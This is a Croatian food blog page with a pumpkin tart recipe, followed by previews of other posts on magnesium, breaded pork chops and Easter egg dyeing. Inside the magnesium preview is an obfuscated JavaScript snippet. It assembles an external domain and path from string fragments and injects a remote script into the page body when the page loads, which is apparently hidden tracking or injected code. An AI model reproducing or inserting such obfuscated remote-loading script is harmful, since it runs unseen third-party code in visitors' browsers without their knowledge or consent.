TART OD BUNDEVE





Tart od bundeve 



Kad temperature krenu padati, a trgovine i tržnice se napune bundevama, teško je odoljeti receptima koji cijeli stan pretvore u malu jesensku oazu.




Tart od bundeve 


Sastojci:

Za tijesto vam treba:

  • 200 g glatkog brašna
  • 100 g hladnog maslaca
  • 50 g šećera u prahu
  • 1 jaje
  • prstohvat soli

Za nadjev:

  • 500 g pirea od bundeve
  • 2 jaja
  • 100 g smeđeg šećera
  • 200 ml slatkog vrhnja
  • 1 žličica cimeta
  • ½ žličice mljevenog đumbira
  • prstohvat muškatnog oraščića
  • 1 žličica ekstrakta vanilije



Priprema:


Za početak pripremite prhko tijesto. U zdjeli pomiješajte brašno, šećer u prahu i sol pa dodajte hladni maslac narezan na kockice. Prstima ga utrljajte u brašno dok ne dobijete mrvičastu smjesu. Dodajte jaje i kratko zamijesite tijesto, tek toliko da se svi sastojci povežu. Tijesto oblikujte u disk, zamotajte u foliju i stavite u hladnjak na otprilike 30 minuta. Nakon toga ga razvaljajte i prebacite u kalup za tart, lagano ga utisnite uz rubove i izbockajte vilicom. Pecite ga desetak minuta na 180 °C kako bi se podloga lagano zapekla.

Za to vrijeme pripremite nadjev. Pire od bundeve pomiješajte s jajima, smeđim šećerom, slatkim vrhnjem, vanilijom i začinima. Miješajte dok ne dobijete glatku, jednoličnu smjesu. Nadjev izlijte na prethodno pečeno tijesto i vratite tart u pećnicu. Pecite još otprilike 35 do 40 minuta na 175–180 °C, odnosno dok se nadjev ne stisne, ali u sredini još uvijek ostane lagano mekan.

Prije posluživanja pustite da se tart potpuno ohladi. Po želji ga možete posipati s malo cimeta ili šećera u prahu, a posebno dobro ide uz tučeno slatko vrhnje ili kuglicu sladoleda od vanilije. Ako želite još izraženiji jesenski okus, u nadjev možete dodati i malo naribane korice naranče ili prstohvat kardamoma.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više